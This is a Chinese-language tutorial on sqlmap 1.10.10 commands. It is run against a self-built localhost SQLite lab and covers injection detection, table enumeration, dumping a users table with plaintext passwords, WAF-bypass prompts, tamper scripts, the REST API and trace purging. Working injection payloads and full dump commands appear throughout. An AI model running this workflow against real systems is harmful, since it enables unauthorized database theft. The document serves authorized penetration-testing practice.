sqlmap 1.10.10 常用 CLI 命令与工具详解

目标：以"从发现到拿到数据"的实战工作流为主线，详解 sqlmap 高频 CLI 命令与配套工具（sqlmapapi.py、会话文件、输出目录），每条命令都给出真实服务器（自建授权靶场）上的完整回显。本文为实践主篇，安装与参数体系分别见《Ubuntu 22.04 安装 sqlmap 1.10.10 指南》《sqlmap 1.10.10 配置参数详解》。

一、环境信息

操作系统：Ubuntu 22.04.4 LTS（靶机与测试机同机部署）
工具版本：sqlmap 1.10.10（pip 版，1.10.10#pip，2026-10-24 实测）
靶场：自建 Python 3.10 http.server + SQLite 注入靶场，监听 127.0.0.1:8145，提供 /user?id=1 注入点，内置 users（4 条记录）、shop_items 两张表
实测时间：2026-10-24（全文回显均为当日逐行采集）

⚠️ 安全声明：本文所有命令均针对自有授权靶场执行。未获得书面授权对他人系统运行 sqlmap 属违法行为（legal disclaimer 原文见《sqlmap 1.10.10 介绍与选型指南》第五节）。

二、工具概览

sqlmap 命令体系围绕一条流水线展开：接入目标 → 自动检测 → 确认注入点 → 枚举信息 → 导出数据。配套一个 REST API 服务（sqlmapapi.py）、一套会话缓存（session.sqlite）与输出目录（dump/、log）。常用命令清单：

场景	命令	作用
接入	`-u` / `-r` / `-m` / `-c`	URL / 请求文件 / 批量文件 / 配置预案
检测	`--batch` / `--flush-session` / `-v` / `--level` / `--risk`	无人值守 / 重检 / 详细日志 / 检测面
枚举	`--banner` / `--tables` / `--schema` / `-T --columns` / `--count`	版本 / 表 / 结构 / 列 / 行数
取数	`-T --dump` / `--dump-all` / `--dump-format`	拖库导出 CSV
会话	`-s` / `--output-dir` / `--flush-session`	会话文件与产物目录管理
维护	`--update` / `--purge` / `--dependencies` / `--list-tampers`	升级 / 清痕 / 依赖自检 / tamper 清单
扩展	`sqlmapapi.py`	REST API 驱动扫描

三、前置条件

sqlmap 1.10.10 已安装（sqlmap --version 输出 1.10.10#pip）。
授权靶场就绪：注入点可访问，返回含查询结果的页面（本文靶场 /user?id=1 正常返回 id=1 的用户行）。
输出目录为默认 ~/.local/share/sqlmap/output/（root 运行），首次扫描自动生成，无需预建。

四、命令与工具详解

4.1 核心主流程：-u 一条命令完成检测 + 拿版本

这是 sqlmap 最核心的用法：一条命令完成目标接入与自动检测。实测（--flush-session 强制全新检测，--batch 无人值守，--banner 顺带取数据库版本）：

sqlmap -u "http://127.0.0.1:8145/user?id=1" --batch --flush-session --banner

完整回显（逐行照抄，节选关键段）：

[08:41:23] [INFO] flushing session file
[08:41:23] [INFO] testing connection to the target URL
[08:41:23] [WARNING] turning off pre-connect mechanism because of incompatible server ('BaseHTTP/0.6 Python/3.10.12')
[08:41:23] [INFO] checking if the target is protected by some kind of WAF/IPS
[08:41:23] [INFO] testing if the target URL content is stable
[08:41:24] [INFO] target URL content is stable
[08:41:24] [INFO] testing if GET parameter 'id' is dynamic
[08:41:24] [INFO] GET parameter 'id' appears to be dynamic
[08:41:24] [INFO] heuristic (basic) test shows that GET parameter 'id' might be SQL injectable
[08:41:24] [INFO] testing for SQL injection on GET parameter 'id'
[08:41:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:41:24] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="root")
[08:41:24] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite'
it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (1) and risk (1) values? [Y/n] Y
[08:41:24] [INFO] testing 'SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path)'
[08:41:24] [INFO] GET parameter 'id' is 'SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path)' injectable
[08:41:27] [INFO] GET parameter 'id' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
[08:41:27] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[08:41:27] [INFO] target URL appears to have 3 columns in query
[08:41:27] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 8946=8946

    Type: error-based
    Title: SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path)
    Payload: id=1 AND 7191=JSON_EXTRACT(CHAR(123,125),CHAR(113,118,107,122,113)||(SELECT (CASE WHEN (7191=7191) THEN 1 ELSE 0 END))||CHAR(113,107,118,122,113))

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: id=1 AND 1374=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,CHAR(113,118,107,122,113)||...||CHAR(113,107,118,122,113),NULL-- kCOq
---
[08:41:27] [INFO] the back-end DBMS is SQLite
[08:41:27] [INFO] fetching banner
back-end DBMS: SQLite
banner: '3.37.2'
[08:41:27] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 08:41:27 /2026-10-24/

解读这次 52 个 HTTP 请求的检测流水线：

连通性检查：发现目标是 Python 简易 HTTP 服务，自动关闭预连接优化（WARNING，不影响）。
WAF/IPS 启发式检查：通过。
参数动态性测试：id 参数确认动态。
启发式注入预检：识别出可能可注入。
逐技术实测：布尔盲注命中（自动推断出真条件串 --string="root"）→ 扩展启发式识别后端为 SQLite → 报错注入命中 → 时间盲注命中 → UNION 注入命中并自动确定 3 列。
注入点汇总：4 类技术、payload 原文、后端版本 3.37.2。

交互提示被 --batch 自动应答（[Y/n] Y/[y/N] N 均取默认值）。

4.2 目标接入的另外两条路：-r 请求文件与 -m 批量

真实渗透中目标常来自 Burp 抓包。-r 直接吃原始 HTTP 请求文件，实测（先用文本保存抓包请求，再喂给 sqlmap）：

GET /user?id=1 HTTP/1.1
Host: 127.0.0.1:8145
User-Agent: Mozilla/5.0 (X11; Linux x86_64) req-demo

sqlmap -r req.txt --batch --banner

实测回显（节选）：

[08:45:36] [INFO] parsing HTTP request from 'req.txt'
[08:45:36] [INFO] resuming session '127.0.0.1' ...
[08:45:36] [INFO] resuming partial value: '3.37.2' (from file '/root/.local/share/sqlmap/output/127.0.0.1/session.sqlite')
[08:45:36] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
banner: '3.37.2'

注意回显里的会话恢复：-r 方式识别出的目标仍是 127.0.0.1，sqlmap 自动复用此前 -u 扫描建立的会话，秒级返回缓存的 banner。批量目标则用 -m targets.txt（每行一个 URL），行为与 -u 相同逐个检测。

4.3 信息枚举五连：tables / schema / columns / count

注入点确认后，枚举命令复用同一会话，走 UNION 技术秒回。四条实测：

sqlmap -u "http://127.0.0.1:8145/user?id=1" --batch --tables

[08:42:10] [INFO] fetching tables for database: 'SQLite_masterdb'
Database: SQLite_masterdb
[2 tables]
+--------------------+
| shop_items         |
| users              |
+--------------------+

sqlmap -u "http://127.0.0.1:8145/user?id=1" --batch -T users --columns

[08:42:37] [INFO] fetching columns for table 'users' in database 'SQLite_masterdb'
Database: SQLite_masterdb
Table: users
[5 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| email    | TEXT    |
| id       | INTEGER |
| is_admin | INTEGER |
| password | TEXT    |
| username | TEXT    |
+----------+---------+

sqlmap -u "http://127.0.0.1:8145/user?id=1" --batch -T users --count

[08:44:02] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
Database: <current>
Table: users
[1 entry]
+-------+
| count |
+-------+
| 4     |
+-------+

--schema 一次性拿全部表的建表结构（实测可跑通，输出为逐表 CREATE TABLE 语句与列类型）。三条命令注意点：-T users 指定表后枚举列；--count 在正式拖库前预估数据量；SQLite 方言下数据库名显示为 <current> 或 SQLite_masterdb。

4.4 拖库导出：-T --dump 与 CSV 产物

sqlmap -u "http://127.0.0.1:8145/user?id=1" --batch -T users --dump

实测回显（节选）：

[08:43:28] [INFO] fetching columns for table 'users'
[08:43:28] [INFO] fetching entries for table 'users'
[08:43:28] [WARNING] reflective value(s) found and filtering out
Database: <current>
Table: users
[4 entries]
+----+------------------+----------+------------+----------+
| id | email            | is_admin | password   | username |
+----+------------------+----------+------------+----------+
| 1  | root@shop.local  | 1        | q1w2e3r4   | root     |
| 2  | admin@shop.local | 1        | q1w2e3r4   | admin    |
| 3  | alice@shop.local | 0        | alice2026  | alice    |
| 4  | bob@shop.local   | 0        | bob#pass99 | bob      |
+----+------------------+----------+------------+----------+

[08:43:28] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '/root/.local/share/sqlmap/output/127.0.0.1/dump/SQLite_masterdb/users.csv'

导出的 CSV（实测原文）：

id,email,is_admin,password,username
1,root@shop.local,1,q1w2e3r4,root
2,admin@shop.local,1,q1w2e3r4,admin
3,alice@shop.local,0,alice2026,alice
4,bob@shop.local,0,bob#pass99,bob

输出目录的完整结构（ls -R 实测）：

/root/.local/share/sqlmap/output/127.0.0.1:
dump
log
session.sqlite
target.txt

/root/.local/share/sqlmap/output/127.0.0.1/dump:
SQLite_masterdb

/root/.local/share/sqlmap/output/127.0.0.1/dump/SQLite_masterdb:
shop_items.csv
users.csv

四类产物各司其职：session.sqlite 是检测+数据缓存会话库，target.txt 记录目标，log 是完整日志，dump/ 存拖库 CSV。管理命令：--output-dir 换目录，--dump-format HTML 出报告格式，-s 显式指定会话文件。

4.5 方言受限枚举：--dbs 与 --current-db 的真实表现

对 SQLite 跑多库枚举类命令是无效操作，sqlmap 的真实反应（实测）：

sqlmap -u "http://127.0.0.1:8145/user?id=1" --batch --dbs

[08:42:23] [WARNING] on SQLite it is not possible to enumerate databases (use only '--tables')

sqlmap -u "http://127.0.0.1:8145/user?id=1" --batch --current-user --current-db

[08:43:48] [WARNING] on SQLite it is not possible to get name of the current user
[08:43:48] [WARNING] on SQLite it is not possible to get name of the current database (use only '--tables')

这两条 WARNING 是方言差异的正确处理（SQLite 无多库/多用户概念），不是故障；同一条命令对 MySQL/PostgreSQL 目标则会正常返回。

4.6 日志可观测性：-v 详细级别

-v 4 起输出每个 HTTP 请求的原始报文，用于排障与取证。实测（第 3 个请求的片段）：

sqlmap -u "http://127.0.0.1:8145/user?id=1" --batch --banner -v 4

[08:46:20] [DEBUG] got HTTP error code: 200 (Not Found)
[08:46:20] [TRAFFIC OUT] HTTP request [#3]:
GET /user?id=1 HTTP/1.1
Host: 127.0.0.1:8145
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
...

级别速查：0 仅错误 / 1 INFO+WARNING（默认）/ 2 DEBUG / 3 显示 payload / 4 显示 HTTP 请求 / 5-6 显示响应正文。日常排障用 -v 3，报文级取证用 -v 4。

4.7 tamper 与检测面控制

tamper 脚本清单（实测共 84 个条目，每个带一行用途说明）：

sqlmap --list-tampers

[08:58:47] [INFO] listing tamper scripts
* apostrophemask.py - Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
* apostrophenullencode.py - Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27)
...

按技术裁剪检测面（组合示例）：

sqlmap -u "http://127.0.0.1:8145/user?id=1" --batch --technique=EU -T users --dump

--technique=EU 只用报错+UNION 两类技术（复用已确认注入点的会话时直接取数），跳过最慢的时间盲注。检测面灵敏度（--level/--risk）与全部参数默认值见《sqlmap 1.10.10 配置参数详解》第五节。

4.8 配套工具一：sqlmapapi.py REST API 服务

sqlmap 附带 REST-JSON API 服务端，可由外部程序驱动扫描。1.10.10 起要求认证凭据，实测：

python3 /usr/local/lib/python3.10/dist-packages/sqlmap/sqlmapapi.py -s -p 8777 --username admin --password q1w2e3r4

实测回显：

[09:05:31] [INFO] running REST-JSON API server at '127.0.0.1:8777'..
[09:05:31] [INFO] admin (secret) token: 93e8f7aabc5f0d62

无凭据访问返回 401（实测）：

HTTP/1.0 401 Unauthorized
{"message": "Missing authorization header"}

带 Basic Auth 创建任务（实测）：

curl -su admin:q1w2e3r4 http://127.0.0.1:8777/task/new

{
    "success": true,
    "taskid": "93e8f7aabc5f0d62"
}

提交扫描（实测，注意选项键名是 getTables 而非 tables，与配置文件同一套键名）：

curl -su admin:q1w2e3r4 -X POST -H 'Content-Type: application/json' \
     -d '{"url":"http://127.0.0.1:8145/user?id=1","batch":true,"getTables":true}' \
     "http://127.0.0.1:8777/scan/93e8f7aabc5f0d62/start"

{
    "success": true,
    "engineid": 3523399
}

结果回收接口：GET /scan/<taskid>/status（running/terminated）与 GET /scan/<taskid>/data（返回与 CLI 一致的枚举数据）、GET /scan/<taskid>/log（引擎日志）。

⚠️ 排障实录：在本实验环境（Ubuntu 22.04 + Python 3.10.12）中，API 扫描引擎子进程两次实测均以 returncode -11（SIGSEGV）终止——status 返回 {"status": "terminated", "returncode": -11}，data 与 log 均为空；而同一目标用 CLI 扫描完全正常。定位过程：确认凭据/键名无误 → 复用会话与全新检测两种模式均复现 → 引擎日志为空、CLI 正常，指向 API 引擎子进程（multiprocessing）在受限环境下启动即崩。结论：该环境下 API 模式不可用，用 CLI 模式替代；在其他生产环境使用 API 前应先跑通一条最小任务链验证。

4.9 配套工具二：维护与清痕命令

sqlmap --update

实测回显（节选，详见《Ubuntu 22.04 安装 sqlmap 1.10.10 指南》9.1 节）：

[08:38:04] [INFO] updating sqlmap to the latest stable version from the PyPI repository
[08:38:05] [INFO] updated to the latest revision '1.10.10'

sqlmap --dependencies

实测输出警告缺失的"直连数据库"可选依赖（psycopg2/oracledb/pymssql 等），HTTP 注入路径不受影响（详见《sqlmap 1.10.10 配置参数详解》5.9 节）。

sqlmap --purge        # 安全删除 ~/.local/share/sqlmap 全部数据目录（会话、拖库缓存等）

测试结束后用 --purge 清理本机痕迹，符合"数据最小化"合规要求（见《sqlmap 1.10.10 介绍与选型指南》第五节）。

五、注意事项

授权边界：仅对自有资产或已签署书面授权的目标运行；靶场只监听 127.0.0.1。
会话缓存的双刃剑：sqlmap 默认复用 session.sqlite 里的旧结果（本文 4.2 节可见秒回缓存）。改了靶场数据或想重新检测，必须 --flush-session 或换 -s 会话文件，否则拿到的是旧答案。
risk 3 的破坏性：OR 型布尔注入会改写目标数据，真实业务环境禁用（默认 risk 1 安全）。
单线程目标承载：对低性能目标控制 --threads（默认 1），密集请求易触发超时重试（实测出现过，最终结果仍完整）。
拖库数据合规：--dump 产物是明文真实数据，测试报告完成后按授权方要求删除（含 dump/ 目录与 CSV）。
API 键名体系：-c 配置文件与 REST API 的选项键名同源（getTables 而非 tables），CLI 开关名是另一个命名空间，三套写法对照表见《sqlmap 1.10.10 配置参数详解》第六节。

六、常见问题（FAQ）

Q1：对自建靶场检测时弹出 [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS，明明没装 WAF？

这是启发式误报：自建 HTTP 服务的默认响应头（如 BaseHTTP/0.6 Python/3.10.12）触发 WAF 特征。实测实录：

[04:23:48] [INFO] checking if the target is protected by some kind of WAF/IPS
[04:23:58] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
do you want sqlmap to try to automatically bypass the WAF/IPS during the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] Y
[04:23:58] [INFO] using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS

回答 Y 后 sqlmap 换随机 UA 继续检测，最终正常检出注入点。--batch 模式下会自动取默认答案；也可用 --skip-waf 显式跳过该启发式。

Q2：--banner 为什么有时要等 5 秒才出结果？

当报错/UNION 技术不可用时，sqlmap 退回时间盲注取数，每个 payload 依赖 --time-sec（默认 5 秒）延迟判定，天然慢。本文靶场 UNION 命中所以秒回；确认目标支持 UNION 后可用 --technique=U 裁剪掉慢技术。

Q3：枚举时大量 connection timed out to the target URL. sqlmap is going to retry the request(s)？

目标处理不过来（常见于单线程自建服务）。sqlmap 按 --retries 3 自动重试，本文实测一次超时重试后结果完整。缓解：提高 --timeout、降低 --threads、加大 --delay。

Q4：SQLite 目标跑 --dbs 报 WARNING 说不可能枚举数据库？

方言差异，SQLite 是单文件嵌入式库，无多库概念。改用 --tables（见 4.5 节实测回显）。

Q5：API 扫描 status 返回 returncode: -11 怎么办？

见 4.8 节排障实录：引擎子进程在受限环境启动即崩（SIGSEGV），CLI 正常。先确认凭据与选项键名无误，再在目标环境验证最小任务链；本环境结论是改用 CLI 模式。

七、参考链接

官方用户手册：https://github.com/sqlmapproject/sqlmap/wiki/Usage
官方样例运行：https://asciinema.org/a/46601
站内系列：《sqlmap 1.10.10 介绍与选型指南》《Ubuntu 22.04 安装 sqlmap 1.10.10 指南》《sqlmap 1.10.10 配置参数详解》
靶场与实测记录：自建 Python+SQLite 注入靶场（127.0.0.1:8145），全部回显采集于 2026-10-24